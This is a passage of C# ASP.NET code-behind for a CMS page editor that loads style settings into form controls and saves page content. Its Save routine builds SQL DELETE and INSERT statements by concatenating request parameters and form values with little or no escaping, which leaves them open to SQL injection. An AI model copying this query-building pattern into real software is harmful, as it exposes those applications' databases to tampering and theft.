DS.Tables[0].Rows[i]["Shadow_Hor"].ToString().Replace("-", "").Replace("+", "").Trim(); if (Convert.ToInt32(DS.Tables[0].Rows[i]["Shadow_Hor"].ToString().Replace("px", "")) < 0) { rbl_OuterCont_Shadow_Hor.SelectedValue = "-"; } else { rbl_OuterCont_Shadow_Hor.SelectedValue = ""; } } if (DS.Tables[0].Rows[i]["Shadow_Vor"] != Convert.DBNull) { ddl_OuterCont_Shadow_Ver.Value = DS.Tables[0].Rows[i]["Shadow_Vor"].ToString().Replace("-", "").Replace("+", "").Trim(); if (Convert.ToInt32(DS.Tables[0].Rows[i]["Shadow_Vor"].ToString().Replace("px", "")) < 0) { rbl_OuterCont_Shadow_Ver.SelectedValue = "-"; } else { rbl_OuterCont_Shadow_Ver.SelectedValue = ""; } } if (DS.Tables[0].Rows[i]["Shadow_Blur"] != Convert.DBNull) ddl_OuterCont_Shadow_Blur.Value = DS.Tables[0].Rows[i]["Shadow_Blur"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Color"] != Convert.DBNull) txt_OuterCont_Shadow_Color.Value = DS.Tables[0].Rows[i]["Shadow_Color"].ToString(); if (DS.Tables[0].Rows[i]["Curve_Radius"] != Convert.DBNull) ddl_OuterCont_Curve_Radius.Value = DS.Tables[0].Rows[i]["Curve_Radius"].ToString(); #region Set Background Data if (DS.Tables[0].Rows[i]["BackGround_ID"] != Convert.DBNull) { if (DS.Tables[0].Rows[i]["background_image"] != Convert.DBNull && DS.Tables[0].Rows[i]["background_image"].ToString() != "") { hdn_background_image.Value = DS.Tables[0].Rows[i]["background_image"].ToString(); img_background_image.ImageUrl = "../Photos_Swfs/" + DS.Tables[0].Rows[i]["background_image"].ToString(); tr_background_image.Visible = true; } else { hdn_background_image.Value = ""; img_background_image.ImageUrl = ""; tr_background_image.Visible = false; } if (DS.Tables[0].Rows[i]["background_repeat"] != Convert.DBNull) ddl_background_repeat.Value = DS.Tables[0].Rows[i]["background_repeat"].ToString(); if (DS.Tables[0].Rows[i]["background_position_Hor"] != Convert.DBNull) ddl_background_position_Hor.Value = DS.Tables[0].Rows[i]["background_position_Hor"].ToString(); if (DS.Tables[0].Rows[i]["background_position_Ver"] != Convert.DBNull) ddl_background_position_Ver.Value = DS.Tables[0].Rows[i]["background_position_Ver"].ToString(); } #endregion } } else { rb_OuterCont_Settings.SelectedValue = "0"; tr_OuterCont_Settings.Visible = false; } #endregion } void f_DisableAllTypes() { rb_Type_0.Enabled = false; rb_Type_1.Enabled = false; rb_Type_10.Enabled = false; rb_Type_2.Enabled = false; rb_Type_3.Enabled = false; rb_Type_4.Enabled = false; rb_Type_5.Enabled = false; rb_Type_7.Enabled = false; rb_Type_8.Enabled = false; rb_Type_9.Enabled = false; rb_Type_101.Enabled = false; rb_Type_201.Enabled = false; } protected void rb_Type_0_CheckedChanged(object sender, EventArgs e) { int_EditorPage_Type_ID = 0; f_ShowHide(); //////////////////////////////////// tr_err_SelectType.Visible = false; } protected void rb_Type_1_CheckedChanged(object sender, EventArgs e) { int_EditorPage_Type_ID = 1; f_ShowHide(); //////////////////////////////////// tr_err_SelectType.Visible = false; } protected void rb_Type_2_CheckedChanged(object sender, EventArgs e) { int_EditorPage_Type_ID = 2; f_ShowHide(); //////////////////////////////////// tr_err_SelectType.Visible = false; } protected void rb_Type_10_CheckedChanged(object sender, EventArgs e) { int_EditorPage_Type_ID = 10; f_ShowHide(); //////////////////////////////////// tr_err_SelectType.Visible = false; } protected void rb_Type_3_CheckedChanged(object sender, EventArgs e) { int_EditorPage_Type_ID = 3; f_ShowHide(); //////////////////////////////////// tr_err_SelectType.Visible = false; } protected void rb_Type_4_CheckedChanged(object sender, EventArgs e) { int_EditorPage_Type_ID = 4; f_ShowHide(); //////////////////////////////////// tr_err_SelectType.Visible = false; } protected void rb_Type_5_CheckedChanged1(object sender, EventArgs e) { int_EditorPage_Type_ID = 5; f_ShowHide(); //////////////////////////////////// tr_err_SelectType.Visible = false; } protected void rb_Type_5_CheckedChanged(object sender, EventArgs e) { int_EditorPage_Type_ID = 5; f_ShowHide(); //////////////////////////////////// tr_err_SelectType.Visible = false; } protected void rb_Type_8_CheckedChanged(object sender, EventArgs e) { int_EditorPage_Type_ID = 8; f_ShowHide(); //////////////////////////////////// tr_err_SelectType.Visible = false; } protected void rb_Type_7_CheckedChanged(object sender, EventArgs e) { int_EditorPage_Type_ID = 7; f_ShowHide(); //////////////////////////////////// tr_err_SelectType.Visible = false; } protected void rb_Type_9_CheckedChanged(object sender, EventArgs e) { int_EditorPage_Type_ID = 9; f_ShowHide(); //////////////////////////////////// tr_err_SelectType.Visible = false; } protected void rb_Type_101_CheckedChanged(object sender, EventArgs e) { int_EditorPage_Type_ID = 101; f_ShowHide(); //////////////////////////////////// tr_err_SelectType.Visible = false; } protected void rb_Type_201_CheckedChanged(object sender, EventArgs e) { int_EditorPage_Type_ID = 201; f_ShowHide(); //////////////////////////////////// tr_err_SelectType.Visible = false; } protected void f_ShowHide() { btn_Save.Visible = true; btn_SaveStay.Visible = true; ////////////////////////////////////////////////////////////// switch (int_EditorPage_Type_ID) { case 0: rb_Type_0.Checked = true; break; case 1: rb_Type_1.Checked = true; break; case 2: rb_Type_2.Checked = true; break; case 10: rb_Type_10.Checked = true; break; case 11: rb_Type_10.Checked = true; rb_SubType_11.Checked = true; break; case 12: rb_Type_10.Checked = true; rb_SubType_12.Checked = true; break; case 13: rb_Type_10.Checked = true; rb_SubType_13.Checked = true; break; case 14: rb_Type_10.Checked = true; rb_SubType_14.Checked = true; break; case 21: rb_Type_10.Checked = true; rb_SubType_21.Checked = true; break; case 22: rb_Type_10.Checked = true; rb_SubType_22.Checked = true; break; case 3: rb_Type_3.Checked = true; break; case 4: rb_Type_4.Checked = true; break; case 5: rb_Type_5.Checked = true; break; case 7: rb_Type_7.Checked = true; break; case 8: rb_Type_8.Checked = true; break; case 9: rb_Type_9.Checked = true; break; case 101: rb_Type_101.Checked = true; break; case 201: rb_Type_201.Checked = true; break; } ///////////////////////////////////////////////////////////////////////////// tr_Link_Photos.Visible = false; tr_Link_Text.Visible = false; tr_Link_Settings_rb.Visible = false; ////////////////////////////////////////////////////////////////////////////// switch (int_EditorPage_Type_ID) { case 0: tbl_SubType_1.Visible = false; //////// tr_Title.Visible = false; tr_Photo.Visible = false; tr_Content.Visible = false; tr_HorizontalContents.Visible = false; tr_Link.Visible = false; /////// rfv_Title.Enabled = false; rfv_Photo.Enabled = false; rfv_Description.Enabled = false; rfv_Link.Enabled = false; break; case 1: tbl_SubType_1.Visible = false; //////// tr_Title.Visible = true; tr_Photo.Visible = false; tr_Content.Visible = false; tr_HorizontalContents.Visible = false; tr_Link.Visible = false; /////// rfv_Title.Enabled = false;//true rfv_Photo.Enabled = false; rfv_Description.Enabled = false; rfv_Link.Enabled = false; break; case 2: tbl_SubType_1.Visible = false; //////// tr_Title.Visible = false; tr_Photo.Visible = false; tr_Content.Visible = true; tr_HorizontalContents.Visible = false; tr_Link.Visible = false; /////// rfv_Title.Enabled = false; rfv_Photo.Enabled = false; rfv_Description.Enabled = false;//true rfv_Link.Enabled = false; break; case 10: case 11: case 12: case 13: case 14: case 21: case 22: tbl_SubType_1.Visible = true; //////// tr_Title.Visible = true; tr_Photo.Visible = true; tr_Photo_Details.Visible = true; tr_Content.Visible = true; tr_HorizontalContents.Visible = false; tr_Link.Visible = true; /////// rfv_Title.Enabled = false; rfv_Photo.Enabled = false; rfv_Description.Enabled = false;//true rfv_Link.Enabled = false; break; case 3: tbl_SubType_1.Visible = false; //////// tr_Title.Visible = false; tr_Photo.Visible = true; tr_Photo_Details.Visible = true; tr_Content.Visible = false; tr_HorizontalContents.Visible = false; tr_Link.Visible = true; /////// rfv_Title.Enabled = false; rfv_Photo.Enabled = ( (Request.Params["EPID"]!=null && Request.Params["EPID"]!="")?false:true ); rfv_Description.Enabled = false; rfv_Link.Enabled = false; break; case 5: tbl_SubType_1.Visible = false; //////// tr_Title.Visible = false; tr_Photo.Visible = true; tr_Photo_Details.Visible = true; tr_Content.Visible = false; tr_HorizontalContents.Visible = false; tr_Link.Visible = false; /////// rfv_Title.Enabled = false; rfv_Photo.Enabled = ( (Request.Params["EPID"]!=null && Request.Params["EPID"]!="")?false:true ); rfv_Description.Enabled = false; rfv_Link.Enabled = false; break; case 4: tbl_SubType_1.Visible = false; //////// tr_Title.Visible = false; tr_Photo.Visible = false; tr_Content.Visible = false; tr_HorizontalContents.Visible = false; tr_Link.Visible = false; /////// rfv_Title.Enabled = false; rfv_Photo.Enabled = false; rfv_Description.Enabled = false; rfv_Link.Enabled = false; break; case 6: tbl_SubType_1.Visible = false; tbl_SubType_1.Visible = false; /////// rfv_Title.Enabled = false; rfv_Photo.Enabled = false; rfv_Description.Enabled = false; rfv_Link.Enabled = false; break; case 7: case 8: tbl_SubType_1.Visible = false; //////// tr_Title.Visible = false; tr_Photo.Visible = false; tr_Content.Visible = false; tr_HorizontalContents.Visible = true; tr_Link.Visible = false; /////// rfv_Title.Enabled = false; rfv_Photo.Enabled = false; rfv_Description.Enabled = false; rfv_Link.Enabled = false; break; case 9: tbl_SubType_1.Visible = false; //////// tr_Title.Visible = false; tr_Photo.Visible = false; tr_Content.Visible = false; tr_HorizontalContents.Visible = false; tr_Link.Visible = true; /////// rfv_Title.Enabled = false; rfv_Photo.Enabled = false; rfv_Description.Enabled = false; rfv_Link.Enabled = true; ////// tr_Link_Photos.Visible = true; tr_Link_Text.Visible = true; tr_Link_Settings_rb.Visible = true; break; case 101: tbl_SubType_1.Visible = false; //////// tr_Title.Visible = false; tr_Photo.Visible = false; tr_Content.Visible = false; tr_HorizontalContents.Visible = true; tr_Link.Visible = false; /////// rfv_Title.Enabled = false; rfv_Photo.Enabled = false; rfv_Description.Enabled = false; rfv_Link.Enabled = false; break; case 201: tbl_SubType_1.Visible = false; //////// tr_Title.Visible = false; tr_Photo.Visible = false; tr_Content.Visible = false; tr_HorizontalContents.Visible = true; tr_Link.Visible = false; /////// rfv_Title.Enabled = false; rfv_Photo.Enabled = false; rfv_Description.Enabled = false; rfv_Link.Enabled = false; break; } GetParentType(); ////////////////////////////////////////////////////////////////////// if (Request.Params["EPID"] != null && Request.Params["EPID"] != "") //Update content { if (int_EditorPage_Type_ID == 201 || bool_cont_HasSettings) { rb_Cont_Settings.SelectedValue = "1"; rb_Cont_Settings.Visible = false; tr_Cont_Settings.Visible = true; } else if(!bool_cont_HasSettings) { rb_Cont_Settings.SelectedValue = "0"; rb_Cont_Settings.Visible = true; tr_Cont_Settings.Visible = false; } } else { if (int_EditorPage_Type_ID == 201) { rb_Cont_Settings.SelectedValue = "1"; rb_Cont_Settings.Visible = false; tr_Cont_Settings.Visible = true; } else { rb_Cont_Settings.SelectedValue = "0"; rb_Cont_Settings.Visible = true; tr_Cont_Settings.Visible = false; } } } protected void RadioButtonList1_SelectedIndexChanged(object sender, EventArgs e) { switch (((RadioButtonList)sender).SelectedValue) { case "0": tr_Title_Settings.Visible = false; break; case "1": tr_Title_Settings.Visible = true; break; } } protected void RadioButtonList2_SelectedIndexChanged(object sender, EventArgs e) { switch (((RadioButtonList)sender).SelectedValue) { case "0": tr_Photo_Settings.Visible = false; break; case "1": tr_Photo_Settings.Visible = true; break; } } protected void RadioButtonList3_SelectedIndexChanged(object sender, EventArgs e) { switch (((RadioButtonList)sender).SelectedValue) { case "0": tr_Desc_Settings.Visible = false; break; case "1": tr_Desc_Settings.Visible = true; break; } } protected void rb_OuterCont_Settings_SelectedIndexChanged(object sender, EventArgs e) { switch (((RadioButtonList)sender).SelectedValue) { case "0": tr_OuterCont_Settings.Visible = false; break; case "1": tr_OuterCont_Settings.Visible = true; break; } } protected void RadioButtonList4_SelectedIndexChanged(object sender, EventArgs e) { switch (((RadioButtonList)sender).SelectedValue) { case "0": tr_Cont_Settings.Visible = false; break; case "1": tr_Cont_Settings.Visible = true; break; } } protected void RadioButtonList5_SelectedIndexChanged(object sender, EventArgs e) { switch (((RadioButtonList)sender).SelectedValue) { case "1": tr_Link_Settings.Visible = true; break; default: tr_Link_Settings.Visible = false; break; } } protected void Save() { if ((Request.Params["Type"] == null || Request.Params["Type"] == "") && (Request.Form["ctl00$ContentPlaceHolder1$Type"] == "" || Request.Form["ctl00$ContentPlaceHolder1$Type"] == null)) { tr_err_SelectType.Visible = true; return; } else { tr_err_SelectType.Visible = false; } ////////////////////////////////////////////////////////////// if (Request.Form["ctl00$ContentPlaceHolder1$Type"] != "" && Request.Form["ctl00$ContentPlaceHolder1$Type"] != null) { int_EditorPage_Type_ID = Convert.ToInt32(Request.Form["ctl00$ContentPlaceHolder1$Type"].Replace("rb_Type_", "")); } else if (Request.Params["Type"] != null && Request.Params["Type"] != "") { int_EditorPage_Type_ID = Convert.ToInt32(Request.Params["Type"]); } if (int_EditorPage_Type_ID == 10) { if (Request.Form["ctl00$ContentPlaceHolder1$SubType"] != "" && Request.Form["ctl00$ContentPlaceHolder1$SubType"] != null) { int_EditorPage_Type_ID = Convert.ToInt32(Request.Form["ctl00$ContentPlaceHolder1$SubType"].Replace("rb_SubType_", "")); } } ////////////////////////////////////////////////////////////// #region Configure type if (int_EditorPage_Type_ID > 10) { //if (rb_SubType_11.Checked) // int_EditorPage_Type_ID = 11; //if (rb_SubType_12.Checked) // int_EditorPage_Type_ID = 12; //if (rb_SubType_13.Checked) // int_EditorPage_Type_ID = 13; //if (rb_SubType_14.Checked) // int_EditorPage_Type_ID = 14; //if (rb_SubType_21.Checked) // int_EditorPage_Type_ID = 21; //if (rb_SubType_22.Checked) // int_EditorPage_Type_ID = 22; } #endregion string str_EditorPage_ID = ""; #region Deal with EditorPage string str_EditorPage_Type_ID = int_EditorPage_Type_ID.ToString(); // Request.Form["ctl00$ContentPlaceHolder1$Type"].Replace("rb_Type_", ""); if (Request.Params["EPID"] != null && Request.Params["EPID"] != "") //updating { str_EditorPage_ID = Request.Params["EPID"].Replace("'", ""); //Update / delete string str_EditorPage_BorderMode_ID = "0"; DataSet DS_Temp = ClSqlCmd.DataSetSel(@"select [BorderMode_ID] from [dbo].[__StandardEngine_T_EditorPages] where [EditorPage_ID]=" + str_EditorPage_ID); if (DS_Temp.Tables[0].Rows[0]["BorderMode_ID"] != Convert.DBNull) { str_EditorPage_BorderMode_ID = DS_Temp.Tables[0].Rows[0]["BorderMode_ID"].ToString(); } ClSqlCmd.CommandExc( @" update [dbo].[__StandardEngine_T_EditorPages] set [BorderMode_ID]=NULL, [EditorPage_Type_ID]=" + str_EditorPage_Type_ID + @" where [EditorPage_ID]=" + str_EditorPage_ID + @" DELETE FROM [dbo].[__StandardEngine_T_BorderMode] where [BorderMode_ID]=" + str_EditorPage_BorderMode_ID + @" DELETE FROM [dbo].[__StandardEngine_T_BorderMode] where [BorderMode_ID] in ( Select [BorderMode_ID] from [dbo].[__StandardEngine_T_Texts] where [EditorPage_ID]=" + str_EditorPage_ID + " )" + @" DELETE FROM [dbo].[__StandardEngine_T_Texts] where [EditorPage_ID]=" + str_EditorPage_ID + @" DELETE FROM [dbo].[__StandardEngine_T_BorderMode] where [BorderMode_ID] in ( Select [BorderMode_ID] from [dbo].[__StandardEngine_T_Link] where [EditorPage_ID]=" + str_EditorPage_ID + " )" + @" DELETE FROM [dbo].[__StandardEngine_T_TextStyle] where [TextStyle_ID] in ( Select [TextStyle_ID] from [dbo].[__StandardEngine_T_Link] where [EditorPage_ID]=" + str_EditorPage_ID + " )" + @" DELETE FROM [dbo].[__StandardEngine_T_LinkHref] where [LinkHref_ID] in ( Select [LinkHref_ID] from [dbo].[__StandardEngine_T_Link] where [EditorPage_ID]=" + str_EditorPage_ID + " )" + @" DELETE FROM [dbo].[__StandardEngine_T_Link] where [EditorPage_ID]=" + str_EditorPage_ID + @" DELETE FROM [dbo].[__StandardEngine_T_BorderMode] where [EditorPage_ID]=" + str_EditorPage_ID ); } else { str_EditorPage_ID = ClSqlCmd.DataSetSel(@"select dbo.__StandardEngine_F_MaxID_EditorPages()+1").Tables[0].Rows[0][0].ToString(); string str_Parent_EditorPage_ID = (Request.Params["PrntEPID"] != null && Request.Params["PrntEPID"] != "") ? Request.Params["PrntEPID"].Replace("'", "") : "NULL"; string str_Order = ClSqlCmd.DataSetSel(@"select dbo.[__StandardEngine_F_MaxOrder_EditorPages](" + Request.Params["PrntEPID"].Replace("'", "") + ")+1").Tables[0].Rows[0][0].ToString(); //Response.Write(">>>>>>>>>>" + str_EditorPage_ID+"****" + str_Order); Response.End(); //Insert New EditorPage ClSqlCmd.CommandExc(@" INSERT INTO [dbo].[__StandardEngine_T_EditorPages] ([EditorPage_ID] ,[Parent_EditorPage_ID] ,[EditorPage_Type_ID] ,[Order]) VALUES (" + str_EditorPage_ID + @" ," + str_Parent_EditorPage_ID + @" ," + str_EditorPage_Type_ID + @" ," + str_Order + @")" ); } #endregion #region Variables string str_BorderMode_ID = ""; string str_TopBorder_Size; string str_RightBorder_Size; string str_BottomBorder_Size; string str_LeftBorder_Size; string str_Padding; string str_BackColor; string str_TopBorder_Color; string str_RightBorder_Color; string str_BottomBorder_Color; string str_LeftBorder_Color; string str_TopBorder_Style; string str_RightBorder_Style; string str_BottomBorder_Style; string str_LeftBorder_Style; string str_Stroke_Style; string str_Stroke_Color; string str_Stroke_Size; string str_Shadow_Padding_Top; string str_Shadow_Padding_Right; string str_Shadow_Padding_Bottom; string str_Shadow_Padding_Left; string str_Shadow_Hor; string str_Shadow_Vor; string str_Shadow_Blur; string str_Shadow_Color; string str_Curve_Radius; string str_TextStyle_ID; string str_ForeColor; //string str_BackColor; string str_FontFamily; string str_FontSize; string str_Align; string str_Bold; string str_Underline; string str_Italic; string str_Text_ID; string str_Text; //string str_TextStyle_ID; string str_BulletStyle_ID; string str_LinkHref_ID; string str_Order__Text; string str_Photo_ID; string str_Photo_URL_Large; string str_Photo_Width; string str_Photo_Height; string str_LinkHref_Href = ""; string str_LinkHref_Target = ""; string str_Link_ID; string str_Class; string str_Order__Link; string str_BackGround_ID; string str_background_color; string str_background_image; string str_background_repeat; string str_background_position_Hor; string str_background_position_Ver; #endregion #region Insert Desc if (tr_Content.Visible) { #region Insert BorderMode_ID if (rb_Desc_Settings.SelectedValue == "1") { str_BorderMode_ID = ClSqlCmd.DataSetSel("select dbo.__StandardEngine_F_MaxID_BorderMode()+1").Tables[0].Rows[0][0].ToString(); str_TopBorder_Size = "N'" + ddl_Desc_TopBorder_Size.Value + "'"; str_RightBorder_Size = "N'" + ddl_Desc_RightBorder_Size.Value + "'"; str_BottomBorder_Size = "N'" + ddl_Desc_BottomBorder_Size.Value + "'"; str_LeftBorder_Size = "N'" + ddl_Desc_LeftBorder_Size.Value + "'"; str_Padding = "N'" + ddl_Desc_Padding_Top.Value + " " + ddl_Desc_Padding_Right.Value + " " + ddl_Desc_Padding_Bottom.Value + " " + ddl_Desc_Padding_Left.Value + "'"; str_BackColor = "N'" + txt_Desc_BackColor.Value + "'"; str_TopBorder_Color = txt_Desc_TopBorder_Color.Value != "" ? ("N'" + txt_Desc_TopBorder_Color.Value + "'") : "NULL"; str_RightBorder_Color = txt_Desc_RightBorder_Color.Value != "" ? ("N'" + txt_Desc_RightBorder_Color.Value + "'") : "NULL"; str_BottomBorder_Color = txt_Desc_BottomBorder_Color.Value != "" ? ("N'" + txt_Desc_BottomBorder_Color.Value + "'") : "NULL"; str_LeftBorder_Color = txt_Desc_LeftBorder_Color.Value != "" ? ("N'" + txt_Desc_LeftBorder_Color.Value + "'") : "NULL"; str_TopBorder_Style = "N'" + ddl_Desc_TopBorder_Style.Value + "'"; str_RightBorder_Style = "N'" + ddl_Desc_RightBorder_Style.Value + "'"; str_BottomBorder_Style = "N'" + ddl_Desc_BottomBorder_Style.Value + "'"; str_LeftBorder_Style = "N'" + ddl_Desc_LeftBorder_Style.Value + "'"; str_Stroke_Style = "NULL"; str_Stroke_Color = "NULL"; str_Stroke_Size = "NULL"; str_Shadow_Padding_Top = "N'" + ddl_Desc_Shadow_Padding_Top.Value + "'"; str_Shadow_Padding_Right = "N'" + ddl_Desc_Shadow_Padding_Right.Value + "'"; str_Shadow_Padding_Bottom = "N'" + ddl_Desc_Shadow_Padding_Bottom.Value + "'"; str_Shadow_Padding_Left = "N'" + ddl_Desc_Shadow_Padding_Left.Value + "'"; str_Shadow_Hor = "N'" + rbl_Desc_Shadow_Hor.SelectedValue + ddl_Desc_Shadow_Hor.Value + "'"; str_Shadow_Vor = "N'" + rbl_Desc_Shadow_Ver.SelectedValue + ddl_Desc_Shadow_Ver.Value + "'"; str_Shadow_Blur = "N'" + ddl_Desc_Shadow_Blur.Value + "'"; str_Shadow_Color = "N'" + txt_Desc_Shadow_Color.Value + "'"; str_Curve_Radius = "N'" + ddl_Desc_Curve_Radius.Value + "'"; ClSqlCmd.CommandExc(@" INSERT INTO [dbo].[__StandardEngine_T_BorderMode] ([BorderMode_ID] ,[TopBorder_Size] ,[RightBorder_Size] ,[BottomBorder_Size] ,[LeftBorder_Size] ,[Padding] ,[BackColor] ,[TopBorder_Color] ,[RightBorder_Color] ,[BottomBorder_Color] ,[LeftBorder_Color] ,[TopBorder_Style] ,[RightBorder_Style] ,[BottomBorder_Style] ,[LeftBorder_Style] ,[Stroke_Style] ,[Stroke_Color] ,[Stroke_Size] ,[Shadow_Padding_Top] ,[Shadow_Padding_Right] ,[Shadow_Padding_Bottom] ,[Shadow_Padding_Left] ,[Shadow_Hor] ,[Shadow_Vor] ,[Shadow_Blur] ,[Shadow_Color] ,[Curve_Radius] ) VALUES ( " + str_BorderMode_ID + @", " + str_TopBorder_Size + @", " + str_RightBorder_Size + @", " + str_BottomBorder_Size + @", " + str_LeftBorder_Size + @", " + str_Padding + @", " + str_BackColor + @", " + str_TopBorder_Color + @", " + str_RightBorder_Color + @", " + str_BottomBorder_Color + @", " + str_LeftBorder_Color + @", " + str_TopBorder_Style + @", " + str_RightBorder_Style + @", " + str_BottomBorder_Style + @", " + str_LeftBorder_Style + @", " + str_Stroke_Style + @", " + str_Stroke_Color + @", " + str_Stroke_Size + @", " + str_Shadow_Padding_Top + @", " + str_Shadow_Padding_Right + @", " + str_Shadow_Padding_Bottom + @", " + str_Shadow_Padding_Left + @", " + str_Shadow_Hor + @", " + str_Shadow_Vor + @", " + str_Shadow_Blur + @", " + str_Shadow_Color + @", " + str_Curve_Radius + @" )"); } else { str_BorderMode_ID = "NULL"; } #endregion #region Insert Text if (txt_Description.Value.Trim() != "") { str_Text_ID = ClSqlCmd.DataSetSel("select dbo.__StandardEngine_F_MaxID_Texts()+1").Tables[0].Rows[0][0].ToString(); str_Text = "N'" + txt_Description.Value.Replace("'", "''") + "'"; str_TextStyle_ID = "NULL"; str_BulletStyle_ID = "NULL"; str_LinkHref_ID = "NULL"; str_Order__Text = "1"; ClSqlCmd.CommandExc(@" INSERT INTO [dbo].[__StandardEngine_T_Texts] ([Text_ID] ,[Text] ,[TextStyle_ID] ,[BulletStyle_ID] ,[BorderMode_ID] ,[LinkHref_ID] ,[EditorPage_ID] ,[Order]) VALUES (" + str_Text_ID + @" ," + str_Text + @" ," + str_TextStyle_ID + @" ," + str_BulletStyle_ID + @" ," + str_BorderMode_ID + @" ," + str_LinkHref_ID + @" ," + str_EditorPage_ID + @" ," + str_Order__Text + @")" ); } #endregion } #endregion #region Insert Title if (tr_Title.Visible) { #region Insert BorderMode_ID if (rb_Title_Settings.SelectedValue == "1") { str_BorderMode_ID = ClSqlCmd.DataSetSel("select dbo.__StandardEngine_F_MaxID_BorderMode()+1").Tables[0].Rows[0][0].ToString(); str_TopBorder_Size = "N'" + ddl_Title_TopBorder_Size.Value + "'"; str_RightBorder_Size = "N'" + ddl_Title_RightBorder_Size.Value + "'"; str_BottomBorder_Size = "N'" + ddl_Title_BottomBorder_Size.Value + "'"; str_LeftBorder_Size = "N'" + ddl_Title_LeftBorder_Size.Value + "'"; str_Padding = "N'" + ddl_Title_Padding_Top.Value + " " + ddl_Title_Padding_Right.Value + " " + ddl_Title_Padding_Bottom.Value + " " + ddl_Title_Padding_Left.Value + "'"; str_BackColor = "N'" + txt_Title_BackColor.Value + "'"; str_TopBorder_Color = txt_Title_TopBorder_Color.Value != "" ? ("N'" + txt_Title_TopBorder_Color.Value + "'") : "NULL"; str_RightBorder_Color = txt_Title_RightBorder_Color.Value != "" ? ("N'" + txt_Title_RightBorder_Color.Value + "'") : "NULL"; str_BottomBorder_Color = txt_Title_BottomBorder_Color.Value != "" ? ("N'" + txt_Title_BottomBorder_Color.Value + "'") : "NULL"; str_LeftBorder_Color = txt_Title_LeftBorder_Color.Value != "" ? ("N'" + txt_Title_LeftBorder_Color.Value + "'") : "NULL"; str_TopBorder_Style = "N'" + ddl_Title_TopBorder_Style.Value + "'"; str_RightBorder_Style = "N'" + ddl_Title_RightBorder_Style.Value + "'"; str_BottomBorder_Style = "N'" + ddl_Title_BottomBorder_Style.Value + "'"; str_LeftBorder_Style = "N'" + ddl_Title_LeftBorder_Style.Value + "'"; str_Stroke_Style = "NULL"; str_Stroke_Color = "NULL"; str_Stroke_Size = "NULL"; str_Shadow_Padding_Top = "N'" + ddl_Title_Shadow_Padding_Top.Value + "'"; str_Shadow_Padding_Right = "N'" + ddl_Title_Shadow_Padding_Right.Value + "'"; str_Shadow_Padding_Bottom = "N'" + ddl_Title_Shadow_Padding_Bottom.Value + "'"; str_Shadow_Padding_Left = "N'" + ddl_Title_Shadow_Padding_Left.Value + "'"; str_Shadow_Hor = "N'" + rbl_Title_Shadow_Hor.SelectedValue + ddl_Title_Shadow_Hor.Value + "'"; str_Shadow_Vor = "N'" + rbl_Title_Shadow_Ver.SelectedValue + ddl_Title_Shadow_Ver.Value + "'"; str_Shadow_Blur = "N'" + ddl_Title_Shadow_Blur.Value + "'"; str_Shadow_Color = "N'" + txt_Title_Shadow_Color.Value + "'"; str_Curve_Radius = "N'" + ddl_Title_Curve_Radius.Value + "'"; ClSqlCmd.CommandExc(@" INSERT INTO [dbo].[__StandardEngine_T_BorderMode] ([BorderMode_ID] ,[TopBorder_Size] ,[RightBorder_Size] ,[BottomBorder_Size] ,[LeftBorder_Size] ,[Padding] ,[BackColor] ,[TopBorder_Color] ,[RightBorder_Color] ,[BottomBorder_Color] ,[LeftBorder_Color] ,[TopBorder_Style] ,[RightBorder_Style] ,[BottomBorder_Style] ,[LeftBorder_Style] ,[Stroke_Style] ,[Stroke_Color] ,[Stroke_Size] ,[Shadow_Padding_Top] ,[Shadow_Padding_Right] ,[Shadow_Padding_Bottom] ,[Shadow_Padding_Left] ,[Shadow_Hor] ,[Shadow_Vor] ,[Shadow_Blur] ,[Shadow_Color] ,[Curve_Radius] ) VALUES ( " + str_BorderMode_ID + @", " + str_TopBorder_Size + @", " + str_RightBorder_Size + @", " + str_BottomBorder_Size + @", " + str_LeftBorder_Size + @", " + str_Padding + @", " + str_BackColor + @", " + str_TopBorder_Color + @", " + str_RightBorder_Color + @", " + str_BottomBorder_Color + @", " + str_LeftBorder_Color + @", " + str_TopBorder_Style + @", " + str_RightBorder_Style + @", " + str_BottomBorder_Style + @", " + str_LeftBorder_Style + @", " + str_Stroke_Style + @", " + str_Stroke_Color + @", " + str_Stroke_Size + @", " + str_Shadow_Padding_Top + @", " + str_Shadow_Padding_Right + @", " + str_Shadow_Padding_Bottom + @", " + str_Shadow_Padding_Left + @", " + str_Shadow_Hor + @", " + str_Shadow_Vor + @", " + str_Shadow_Blur + @", " + str_Shadow_Color + @", " + str_Curve_Radius + @" )"); } else { str_BorderMode_ID = "NULL"; } #endregion #region Insert Text if (txt_Title.Value.Trim() != "") { str_Text_ID = ClSqlCmd.DataSetSel("select dbo.__StandardEngine_F_MaxID_Texts()+1").Tables[0].Rows[0][0].ToString(); str_Text = "N'" + txt_Title.Value.Replace("'", "''") + "'"; str_TextStyle_ID = "NULL"; str_BulletStyle_ID = "NULL"; str_LinkHref_ID = "NULL"; str_Order__Text = "2"; ClSqlCmd.CommandExc(@" INSERT INTO [dbo].[__StandardEngine_T_Texts] ([Text_ID] ,[Text] ,[TextStyle_ID] ,[BulletStyle_ID] ,[BorderMode_ID] ,[LinkHref_ID] ,[EditorPage_ID] ,[Order]) VALUES (" + str_Text_ID + @" ," + str_Text + @" ," + str_TextStyle_ID + @" ," + str_BulletStyle_ID + @" ," + str_BorderMode_ID + @" ," + str_LinkHref_ID + @" ," + str_EditorPage_ID + @" ," + str_Order__Text + @")" ); } #endregion } #endregion #region Insert Photo if (tr_Photo.Visible) { #region Insert BorderMode_ID if (rb_Photo_Settings.SelectedValue == "1") { str_BorderMode_ID = ClSqlCmd.DataSetSel("select dbo.__StandardEngine_F_MaxID_BorderMode()+1").Tables[0].Rows[0][0].ToString(); str_TopBorder_Size = "N'" + ddl_Photo_TopBorder_Size.Value + "'"; str_RightBorder_Size = "N'" + ddl_Photo_RightBorder_Size.Value + "'"; str_BottomBorder_Size = "N'" + ddl_Photo_BottomBorder_Size.Value + "'"; str_LeftBorder_Size = "N'" + ddl_Photo_LeftBorder_Size.Value + "'"; str_Padding = "N'" + ddl_Photo_Padding_Top.Value + " " + ddl_Photo_Padding_Right.Value + " " + ddl_Photo_Padding_Bottom.Value + " " + ddl_Photo_Padding_Left.Value + "'"; str_BackColor = "N'" + txt_Photo_BackColor.Value + "'"; str_TopBorder_Color = txt_Photo_TopBorder_Color.Value != "" ? ("N'" + txt_Photo_TopBorder_Color.Value + "'") : "NULL"; str_RightBorder_Color = txt_Photo_RightBorder_Color.Value != "" ? ("N'" + txt_Photo_RightBorder_Color.Value + "'") : "NULL"; str_BottomBorder_Color = txt_Photo_BottomBorder_Color.Value != "" ? ("N'" + txt_Photo_BottomBorder_Color.Value + "'") : "NULL"; 